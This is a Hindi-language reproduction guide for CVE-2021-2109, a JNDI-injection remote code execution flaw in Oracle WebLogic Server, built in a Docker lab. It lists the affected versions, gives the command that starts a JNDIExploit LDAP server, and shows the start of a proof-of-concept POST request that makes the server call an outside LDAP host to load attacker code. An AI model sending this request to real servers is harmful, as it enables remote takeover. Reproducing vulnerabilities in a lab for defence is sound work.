CVE-2021-2109

CVE-2021-2109 Weblogic Server दूरस्थ कोड निष्पादन भेद्यता पुनरुत्पादन एवं विश्लेषण

जनवरी 2021 में Oracle ने सुरक्षा अद्यतन पैच जारी किए, जिनमें Oracle उत्पाद श्रृंखला के 329 नए सुरक्षा पैच शामिल हैं। इस घोषणा में विशेष रूप से 1 नवंबर 2020 को जारी Oracle WebLogic Server के CVE-2020-14750 भेद्यता से संबंधित सुरक्षा घोषणा का उल्लेख किया गया था। ग्राहकों को दृढ़ता से सलाह दी जाती है कि वे इस पैच अद्यतन और इस घोषणा के अन्य पैच लागू करें। CVE संख्या CVE-2021-2109, यह भेद्यता Weblogic की दूरस्थ कोड निष्पादन भेद्यता है। यह भेद्यता मुख्य रूप से JNDI इंजेक्शन के कारण होती है, जिससे हमलावर इस भेद्यता का उपयोग करके दूरस्थ कोड निष्पादन कर सकता है।

प्रभावित संस्करण निम्नलिखित हैं: Weblogic Server 10.3.6.0.0 Weblogic Server 12.1.3.0.0 Weblogic Server 12.2.1.3.0 Weblogic Server 12.2.1.4.0 Weblogic Server 14.1.1.0.0

1. CVE-2021-2109 Weblogic Server दूरस्थ कोड निष्पादन भेद्यता का पुनरुत्पादन

Weblogic Server परीक्षण वातावरण स्थापित करने के लिए Docker का उपयोग करें, Weblogic Server तक सामान्य रूप से पहुँचा जा सकता है

1. सामान्य रूप से बैकएंड में लॉगिन करके JNDI इंजेक्शन करना पहली स्थिति में, Weblogic Server बैकएंड में लॉगिन करने के लिए व्यवस्थापक खाते का उपयोग करना आवश्यक है, BurpSuite के माध्यम से लॉगिन पैकेट कैप्चर करें और लॉगिन Cookie डेटा प्राप्त करें

इस मशीन पर LDAP प्रारंभ करें, इसे https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11 से डाउनलोड किया जा सकता है, कमांड निम्नलिखित है: java -jar JNDIExploit-v1.11.jar -i 192.168.131.1

Weblogic Server दूरस्थ कोड निष्पादन भेद्यता CVE-2021-2109 का JNDI इंजेक्शन POC पैकेट भेजें: POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.131;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1